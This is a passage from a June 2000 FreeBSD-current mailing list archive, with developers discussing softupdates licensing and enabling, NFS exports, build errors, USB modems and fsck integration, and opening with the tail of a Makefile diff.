vnode_if.h + perl ${.CURDIR}/../sys/kern/vnode_if.pl -h ${.CURDIR}/../sys/kern/vnode_if.src + beforeinstall: ${SHARED} @rm -f ${DESTDIR}/usr/include/timepps.h cd ${.CURDIR}; \ @@ -85,6 +90,9 @@ ${INSTALL} -C -o ${BINOWN} -g ${BINGRP} -m 444 \ ${.OBJDIR}/osreldate.h \ ${DESTDIR}/usr/include + ${INSTALL} -C -o ${BINOWN} -g ${BINGRP} -m 444 \ + ${.OBJDIR}/vnode_if.h \ + ${DESTDIR}/usr/include/sys .for i in ${LFILES} ln -sf sys/$i ${DESTDIR}/usr/include/$i .endfor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 21:40:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from piglet.dstc.edu.au (piglet.dstc.edu.au [130.102.176.1]) by hub.freebsd.org (Postfix) with ESMTP id 5731A37C110 for ; Wed, 21 Jun 2000 21:40:55 -0700 (PDT) (envelope-from ggm@dstc.edu.au) Received: from asuncion.dstc.edu.au (asuncion.dstc.edu.au [130.102.176.155]) by piglet.dstc.edu.au (8.10.1/8.10.1) with ESMTP id e5M4eob29541 for ; Thu, 22 Jun 2000 14:40:50 +1000 (EST) Received: (from ggm@localhost) by asuncion.dstc.edu.au (8.9.3+Sun/8.8.8) id OAA15921 for freebsd-current@freebsd.org; Thu, 22 Jun 2000 14:40:52 +1000 (EST) Date: Thu, 22 Jun 2000 14:40:52 +1000 (EST) From: George Michaelson Message-Id: <200006220440.OAA15921@asuncion.dstc.edu.au> To: freebsd-current@freebsd.org Subject: Now softupdates are BSD licenced can they go in smoothly? Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From Daemon news: Kirk McKusick announced this morning at the USENIX keynote that the softupdates code will now be available under a BSD license. Details to follow. So does this mean the whole shebang of find/read/link/recompile can finally end? NetBSD got rid of this ages ago. -George To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 21:41:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from server1.mich.com (server1.mich.com [198.108.16.2]) by hub.freebsd.org (Postfix) with ESMTP id BFF9437C21B; Wed, 21 Jun 2000 21:41:37 -0700 (PDT) (envelope-from will@almanac.yi.org) Received: from argon.gryphonsoft.com (pm003-024.dialup.bignet.net [64.79.80.120]) by server1.mich.com (8.9.3/8.9.3) with ESMTP id AAA14679; Thu, 22 Jun 2000 00:41:35 -0400 Received: by argon.gryphonsoft.com (Postfix, from userid 1000) id 211A0188D; Thu, 22 Jun 2000 00:39:58 -0400 (EDT) Date: Thu, 22 Jun 2000 00:39:58 -0400 From: Will Andrews To: Satoshi - Ports Wraith - Asami Cc: Will Andrews , FreeBSD Current , FreeBSD Ports Subject: Re: make.conf fix Message-ID: <20000622003958.I47446@argon.gryphonsoft.com> References: <20000620172502.C34982@argon.gryphonsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from asami@FreeBSD.org on Wed, Jun 21, 2000 at 12:09:02AM -0700 X-Operating-System: FreeBSD 5.0-CURRENT i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Jun 21, 2000 at 12:09:02AM -0700, Satoshi - Ports Wraith - Asami wrote: > Waitaminit. These are correct, please look at bsd.sites.mk. What > makes you think they are not working? Hmm... weird. I tried using the overrides in make.conf some time ago and they didn't work and I had to use ${MASTER_SITE_SUBDIR} instead of %SUBDIR%. Anyway, I withdraw this patch. -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 22:55:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 334FA37B69A for ; Wed, 21 Jun 2000 22:55:15 -0700 (PDT) (envelope-from bandix@looksharp.net) Received: from localhost (bandix@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id BAA33427; Thu, 22 Jun 2000 01:55:50 -0400 (EDT) (envelope-from bandix@looksharp.net) Date: Thu, 22 Jun 2000 01:55:50 -0400 (EDT) From: "Brandon D. Valentine" To: George Michaelson Cc: freebsd-current@FreeBSD.ORG Subject: Re: Now softupdates are BSD licenced can they go in smoothly? In-Reply-To: <200006220440.OAA15921@asuncion.dstc.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 22 Jun 2000, George Michaelson wrote: >So does this mean the whole shebang of find/read/link/recompile can finally >end? NetBSD got rid of this ages ago. Well Kirk McKusick has already committed the license change, a la: http://docs.freebsd.org/cgi/getmsg.cgi?fetch=524952+0+current/cvs-all If you follow that thread you will find discussion on cvs-committers about including it in GENERIC, etc. With the license issue resolved I don't see any reason it couldn't be permanently symlinked. I'm sure this will happen over the next few days. Watch cvs-all for related commits. Brandon D. Valentine -- bandix at looksharp.net | bandix at structbio.vanderbilt.edu "Truth suffers from too much analysis." -- Ancient Fremen Saying To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 23: 5:56 2000 Delivered-To: freebsd-current@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 22CDE37C1B3 for ; Wed, 21 Jun 2000 23:05:51 -0700 (PDT) (envelope-from dwmalone@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 22 Jun 2000 07:05:49 +0100 (BST) Date: Thu, 22 Jun 2000 07:05:49 +0100 From: David Malone To: clefevre@citeweb.net Cc: current@FreeBSD.ORG Subject: Re: mount_nfs/df bug? Message-ID: <20000622070549.A59530@walton.maths.tcd.ie> References: <20000620234825.A31951@cichlids.cichlids.com> <20000621091435.A15534@walton.maths.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from clefevre@no-spam.citeweb.net on Wed, Jun 21, 2000 at 09:50:57PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Jun 21, 2000 at 09:50:57PM +0200, Cyrille Lefevre wrote: > well, what about exporting a directory w/o exporting a filesystem ? > which is usefull somethimes. possible too ? Add the directory to exports and HUP mountd. (I think that in the kernel the exports are at a filesystem level, so while you can export any directory a naughty client can do "cd ../../../.." and find their way back up to the top of the exported filesystem. Most people's NFS clients won't allow you to do this, but you could write your own client to do it). David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 1:31:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.bastard.co.uk (node16292.a2000.nl [24.132.98.146]) by hub.freebsd.org (Postfix) with ESMTP id 954AD37B56C; Thu, 22 Jun 2000 01:31:13 -0700 (PDT) (envelope-from adrian@bastard.co.uk) Received: from adrian by mail.bastard.co.uk with local (Exim 3.14 #1) id 1352Np-00081L-00; Thu, 22 Jun 2000 10:30:45 +0200 Date: Thu, 22 Jun 2000 10:30:45 +0200 From: Adrian Chadd To: Anders Andersson Cc: cvs-all@freebsd.org, freebsd-current@freebsd.org Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c Message-ID: <20000622103045.F29036@zoe.bastard.co.uk> References: <200006220029.RAA97417@freefall.freebsd.org> <20000621223309.G47446@argon.gryphonsoft.com> <86g0q6gw5x.wl@localhost.local.idaemons.org> <20000622080509.A4065@enterprise.sanyusan.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000622080509.A4065@enterprise.sanyusan.se>; from anders@sanyusan.se on Thu, Jun 22, 2000 at 08:05:09AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [shifting conversation to -current .. ] On Thu, Jun 22, 2000, Anders Andersson wrote: > on Tor, Jun 22, 2000 at 01:46:34pm +0900, Akinori -Aki- MUSHA wrote: > > > > Yes, it has been working quite stably here too. Besides, one must do > > a "tunefs -n enable" for every partition that he or she wants to do > > softupdates anyway, so just adding the support for softupdates to the > > GENERIC kernel won't hurt anyone who don't want to turn that feature > > on by default, except a little code increase. > > Please take a look at what NetBSD just recently did: > http://www.netbsd.org/Changes/#softdepsmount > > These changes disables the whole 'tunefs' process, and let you control > softupdates state with mount, (-o softdep). So all you have to do is to > tune your /etc/fstab to enable softupdates. I think this will make it > more easy to enable SOFTUPDATES by default. I like this. Would anyone object if this was brought over from NetBSD ? Adrian -- Adrian Chadd Build a man a fire, and he's warm for the rest of the evening. Set a man on fire and he's warm for the rest of his life. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 1:52:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from web1.prometeus.net (ns2.prometeus.net [199.105.84.10]) by hub.freebsd.org (Postfix) with ESMTP id 53A8037C1FD for ; Thu, 22 Jun 2000 01:52:24 -0700 (PDT) (envelope-from syprix@web1.prometeus.net) Received: (from syprix@localhost) by web1.prometeus.net (8.9.3/8.9.3) id EAA00512; Thu, 22 Jun 2000 04:50:33 -0400 Date: Thu, 22 Jun 2000 04:50:33 -0400 From: syprix@web1.prometeus.net Message-Id: <200006220850.EAA00512@web1.prometeus.net> To: current@freebsd.org Subject: Error compiling CURRENT Cc: stefan@syprix.se Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi I cvsup'd last night(wed) and some trouble compiling(buildworld) occured. cc -O -pipe -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/as/i386-freebs d -I/usr/src/gnu/usr.bin/binutils/as/i386-freebsd/../../libbfd/i386 -I/usr/src/g nu/usr.bin/binutils/as/i386-freebsd/../../../../../contrib/binutils/include -I/u sr/src/gnu/usr.bin/binutils/as/i386-freebsd/../../../../../contrib/binutils/gas -I/usr/src/gnu/usr.bin/binutils/as/i386-freebsd/../../../../../contrib/binutils/ gas/config -I/usr/src/gnu/usr.bin/binutils/as/i386-freebsd/../../../../../contri b/binutils -DVERSION=\"2.10.0\" -DBFD_VERSION=\"2.10.0\" -I/usr/obj/usr/src/i3 86/usr/include -c /usr/src/gnu/usr.bin/binutils/as/i386-freebsd/../../../../../c ontrib/binutils/gas/config/obj-elf.c /usr/src/gnu/usr.bin/binutils/as/i386-freebsd/../../../../../contrib/binutils/ga s/write.c:2878: syntax error at end of input {standard input}: Assembler messages: {standard input}:1199: Error: invalid character '.' in opcode *** Error code 1 Any suggestions? Stefan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 2:21:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id C00D137C229; Thu, 22 Jun 2000 02:21:32 -0700 (PDT) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id CAA11332; Thu, 22 Jun 2000 02:21:27 -0700 (PDT) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id CAA14572; Thu, 22 Jun 2000 02:21:27 -0700 (PDT) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id CAA07831; Thu, 22 Jun 2000 02:21:27 -0700 (PDT) From: Don Lewis Message-Id: <200006220921.CAA07831@salsa.gv.tsc.tdk.com> Date: Thu, 22 Jun 2000 02:21:26 -0700 In-Reply-To: <20000622103045.F29036@zoe.bastard.co.uk> References: <200006220029.RAA97417@freefall.freebsd.org> <20000621223309.G47446@argon.gryphonsoft.com> <86g0q6gw5x.wl@localhost.local.idaemons.org> <20000622080509.A4065@enterprise.sanyusan.se> <20000622103045.F29036@zoe.bastard.co.uk> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Adrian Chadd , Anders Andersson Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c Cc: cvs-all@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Jun 22, 10:30am, Adrian Chadd wrote: } Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep } } [shifting conversation to -current .. ] } } On Thu, Jun 22, 2000, Anders Andersson wrote: } > on Tor, Jun 22, 2000 at 01:46:34pm +0900, Akinori -Aki- MUSHA wrote: } > > } > > Yes, it has been working quite stably here too. Besides, one must do } > > a "tunefs -n enable" for every partition that he or she wants to do } > > softupdates anyway, so just adding the support for softupdates to the } > > GENERIC kernel won't hurt anyone who don't want to turn that feature } > > on by default, except a little code increase. } > } > Please take a look at what NetBSD just recently did: } > http://www.netbsd.org/Changes/#softdepsmount } > } > These changes disables the whole 'tunefs' process, and let you control } > softupdates state with mount, (-o softdep). So all you have to do is to } > tune your /etc/fstab to enable softupdates. I think this will make it } > more easy to enable SOFTUPDATES by default. } } I like this. Would anyone object if this was brought over from NetBSD ? I'm pretty sure that Kirk had some reason for using tunefs. It might take me a while to dig up the information, though, assuming I still have it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 2:30:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from gidora.zeta.org.au (gidora.zeta.org.au [203.26.10.25]) by hub.freebsd.org (Postfix) with SMTP id 8B65E37C231 for ; Thu, 22 Jun 2000 02:30:42 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: (qmail 742 invoked from network); 22 Jun 2000 09:30:39 -0000 Received: from unknown (HELO bde.zeta.org.au) (203.2.228.102) by gidora.zeta.org.au with SMTP; 22 Jun 2000 09:30:39 -0000 Date: Thu, 22 Jun 2000 19:30:36 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Assar Westerlund Cc: current@FreeBSD.ORG, kris@FreeBSD.ORG Subject: Re: sys/sys/signalvar.h: change cursig to `static inline' In-Reply-To: <5lr99qse7h.fsf@assaris.sics.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I would like to commit the patch below to -current and 4-stable in a > little while. It allows KLDs to be compiled without optimization. > > Any objections/comments/anything? No objections. I fixed this in my version a few hours after it was broken last September, and removed the inline CURSIG() a few days later. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 2:36:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id D994837C230; Thu, 22 Jun 2000 02:36:39 -0700 (PDT) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id CAA11473; Thu, 22 Jun 2000 02:36:36 -0700 (PDT) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id CAA14640; Thu, 22 Jun 2000 02:36:35 -0700 (PDT) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id CAA07957; Thu, 22 Jun 2000 02:36:35 -0700 (PDT) From: Don Lewis Message-Id: <200006220936.CAA07957@salsa.gv.tsc.tdk.com> Date: Thu, 22 Jun 2000 02:36:34 -0700 In-Reply-To: <200006220921.CAA07831@salsa.gv.tsc.tdk.com> References: <200006220029.RAA97417@freefall.freebsd.org> <20000621223309.G47446@argon.gryphonsoft.com> <86g0q6gw5x.wl@localhost.local.idaemons.org> <20000622080509.A4065@enterprise.sanyusan.se> <20000622103045.F29036@zoe.bastard.co.uk> <200006220921.CAA07831@salsa.gv.tsc.tdk.com> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Don Lewis , Adrian Chadd , Anders Andersson Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c Cc: cvs-all@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Jun 22, 2:21am, Don Lewis wrote: } Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep } On Jun 22, 10:30am, Adrian Chadd wrote: } } Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep } } } } [shifting conversation to -current .. ] } } } } On Thu, Jun 22, 2000, Anders Andersson wrote: } } > Please take a look at what NetBSD just recently did: } } > http://www.netbsd.org/Changes/#softdepsmount } } > } } > These changes disables the whole 'tunefs' process, and let you control } } > softupdates state with mount, (-o softdep). So all you have to do is to } } > tune your /etc/fstab to enable softupdates. I think this will make it } } > more easy to enable SOFTUPDATES by default. } } } } I like this. Would anyone object if this was brought over from NetBSD ? } } I'm pretty sure that Kirk had some reason for using tunefs. It might take } me a while to dig up the information, though, assuming I still have it. Found it, see . To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 2:44:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from trinity.skynet.be (trinity.skynet.be [195.238.2.38]) by hub.freebsd.org (Postfix) with ESMTP id 6458237C212; Thu, 22 Jun 2000 02:44:04 -0700 (PDT) (envelope-from blk@skynet.be) Received: from [195.238.1.121] (brad.techos.skynet.be [195.238.1.121]) by trinity.skynet.be (Postfix) with ESMTP id E7D95180C1; Thu, 22 Jun 2000 11:43:58 +0200 (MET DST) Mime-Version: 1.0 X-Sender: blk@pop.skynet.be Message-Id: In-Reply-To: <20000622103045.F29036@zoe.bastard.co.uk> References: <200006220029.RAA97417@freefall.freebsd.org> <20000621223309.G47446@argon.gryphonsoft.com> <86g0q6gw5x.wl@localhost.local.idaemons.org> <20000622080509.A4065@enterprise.sanyusan.se> <20000622103045.F29036@zoe.bastard.co.uk> Date: Thu, 22 Jun 2000 11:28:28 +0200 To: Adrian Chadd , Anders Andersson From: Brad Knowles Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c Cc: cvs-all@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10:30 AM +0200 2000/6/22, Adrian Chadd wrote: > I like this. Would anyone object if this was brought over from NetBSD ? If you're asking for a vote, you've got mine. -- These are my opinions -- not to be taken as official Skynet policy ====================================================================== Brad Knowles, || Belgacom Skynet SA/NV Systems Architect, Mail/News/FTP/Proxy Admin || Rue Colonel Bourg, 124 Phone/Fax: +32-2-706.13.11/12.49 || B-1140 Brussels http://www.skynet.be || Belgium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 2:54:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.bastard.co.uk (node16292.a2000.nl [24.132.98.146]) by hub.freebsd.org (Postfix) with ESMTP id DBEFC37B671 for ; Thu, 22 Jun 2000 02:54:40 -0700 (PDT) (envelope-from adrian@bastard.co.uk) Received: from adrian by mail.bastard.co.uk with local (Exim 3.14 #1) id 1353go-00089H-00; Thu, 22 Jun 2000 11:54:26 +0200 Date: Thu, 22 Jun 2000 11:54:26 +0200 From: Adrian Chadd To: mckusick@mckusick.com Cc: freebsd-current@freebsd.org Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c Message-ID: <20000622115426.H29036@zoe.bastard.co.uk> References: <200006220029.RAA97417@freefall.freebsd.org> <20000621223309.G47446@argon.gryphonsoft.com> <86g0q6gw5x.wl@localhost.local.idaemons.org> <20000622080509.A4065@enterprise.sanyusan.se> <20000622103045.F29036@zoe.bastard.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from blk@skynet.be on Thu, Jun 22, 2000 at 11:28:28AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Jun 22, 2000, Brad Knowles wrote: > At 10:30 AM +0200 2000/6/22, Adrian Chadd wrote: > > > I like this. Would anyone object if this was brought over from NetBSD ? > > If you're asking for a vote, you've got mine. Hmm, Kirk has valid points for leaving a softupdates filesystem identified by tunefs and not a mount option. Kirk, do you still want to keep things that way ? Adrian -- Adrian Chadd Build a man a fire, and he's warm for the rest of the evening. Set a man on fire and he's warm for the rest of his life. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 3:33:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by hub.freebsd.org (Postfix) with ESMTP id E991537C236; Thu, 22 Jun 2000 03:33:25 -0700 (PDT) (envelope-from n_hibma@qubesoft.com) Received: from calcaphon.demon.co.uk ([193.237.19.5] helo=bluebottle.qubesoft.com) by tele-post-20.mail.demon.net with esmtp (Exim 2.12 #2) id 1354IU-0000Mj-0K; Thu, 22 Jun 2000 10:33:23 +0000 Received: from henny.webweaving.org (henny.qubesoft.com [192.168.1.5]) by bluebottle.qubesoft.com (8.9.3/8.9.1) with ESMTP id LAA31985; Thu, 22 Jun 2000 11:34:09 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id UAA36018; Wed, 21 Jun 2000 20:49:38 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Date: Wed, 21 Jun 2000 20:49:38 +0100 (BST) From: Nick Hibma X-Sender: n_hibma@localhost Reply-To: Nick Hibma To: Warner Losh Cc: Mike Smith , Eaglez , John Hengstler , freebsd-current@FreeBSD.org, hardware@FreeBSD.org Subject: Re: Unknown Devices In-Reply-To: <200006211903.NAA82467@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > : Watch out - some USB modems are also WinModems. Not WinModems as such (the USB link is too slow to feed the DSP, but they do have proprietary protocols). 3COM modems are safe though. They are class compliant. Nick > > usb tty and modems aren't supported, as far as I know. How can you > tell the usb modems that are win modems? And can y ou get docs on > them? > > Warner > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hardware" in the body of the message > -- n_hibma@webweaving.org n_hibma@freebsd.org USB project http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 3:54:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.surf1.de (mail.surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id 9086A37B990 for ; Thu, 22 Jun 2000 03:54:08 -0700 (PDT) (envelope-from alex@big.endian.de) Received: from neutron.cichlids.com (p3E9C110D.dip0.t-ipconnect.de [62.156.17.13]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id MAA02657; Thu, 22 Jun 2000 12:52:56 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by neutron.cichlids.com (Postfix) with ESMTP id A1323AC27; Thu, 22 Jun 2000 12:53:32 +0200 (CEST) Received: by cichlids.cichlids.com (Postfix, from userid 1001) id 829D014A66; Thu, 22 Jun 2000 12:53:25 +0200 (CEST) Date: Thu, 22 Jun 2000 12:53:25 +0200 From: Alexander Langer To: Kevin Day Cc: current@FreeBSD.ORG Subject: Re: mount_nfs/df bug? Message-ID: <20000622125325.A661@cichlids.cichlids.com> Mail-Followup-To: Kevin Day , current@FreeBSD.ORG References: <20000620234825.A31951@cichlids.cichlids.com> <200006220023.TAA84256@celery.dragondata.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200006220023.TAA84256@celery.dragondata.com>; from toasty@dragondata.com on Wed, Jun 21, 2000 at 07:23:34PM -0500 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-PGP-at: finger alex@big.endian.de X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Kevin Day (toasty@dragondata.com): > This is probably similar to this: > http://www.freebsd.org/cgi/query-pr.cgi?pr=6187 Not sure. I don't think so. Alex -- cat: /home/alex/.sig: No such file or directory To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 4: 1: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.bastard.co.uk (node16292.a2000.nl [24.132.98.146]) by hub.freebsd.org (Postfix) with ESMTP id B8CB837B6C9 for ; Thu, 22 Jun 2000 04:00:54 -0700 (PDT) (envelope-from adrian@bastard.co.uk) Received: from adrian by mail.bastard.co.uk with local (Exim 3.14 #1) id 1354j5-0008GJ-00 for freebsd-current@freebsd.org; Thu, 22 Jun 2000 13:00:51 +0200 Date: Thu, 22 Jun 2000 13:00:51 +0200 From: Adrian Chadd To: freebsd-current@freebsd.org Subject: Re: fsck wrappers Message-ID: <20000622130051.L29036@zoe.bastard.co.uk> References: <20000619205339.S13112@zoe.bastard.co.uk> <20000620143215.C13112@zoe.bastard.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000620143215.C13112@zoe.bastard.co.uk>; from adrian@freebsd.org on Tue, Jun 20, 2000 at 02:32:15PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've integrated fsck and fsck_ffs into my local world tree, and make buildworld/installworld seems to work ok. I've shifted the tarball and diff to http://www.freebsd.org/~adrian/fsck/ . Can people please prod it and see what I've missed ? Thanks, Adrian -- Adrian Chadd Build a man a fire, and he's warm for the rest of the evening. Set a man on fire and he's warm for the rest of his life. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 4: 1:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from postfix3.free.fr (postfix3.free.fr [212.27.32.22]) by hub.freebsd.org (Postfix) with ESMTP id 679C337B6C9; Thu, 22 Jun 2000 04:01:08 -0700 (PDT) (envelope-from jaco@titine.fr.eu.org) Received: from titine.fr.eu.org (toulouse-1-5-8.dial.proxad.net [213.228.5.8]) by postfix3.free.fr (Postfix) with ESMTP id 646C886BC6; Thu, 22 Jun 2000 13:01:01 +0200 (CEST) Received: by titine.fr.eu.org (Postfix, from userid 1000) id 6083E147F2; Thu, 22 Jun 2000 12:48:20 +0200 (CEST) X-Attribution: Jaco To: Jun Kuriyama Cc: Current Subject: Re: Missing openssl/idea.h? References: <7mzooeiew7.wl@waterblue.imgsrc.co.jp> From: Eric Jacoboni Date: 22 Jun 2000 12:48:20 +0200 In-Reply-To: Jun Kuriyama's message of "Thu, 22 Jun 2000 12:16:40 +0900" Message-ID: <87r99q0z63.fsf@titine.fr.eu.org> Lines: 12 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Jun" =3D=3D Jun Kuriyama writes: Jun> Building world failed on my machine... (with USA_RESIDENT=3DNO) Jun> Does IDEA stuff compiled by default? See the Mikko's workaround : <200006210039.CAA02201@m2.dynas.se> --=20 --------------------------------------------------------- =C9ric Jacoboni =AB No sport, cigars! =BB (W. Churchill) --------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 4:32:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de 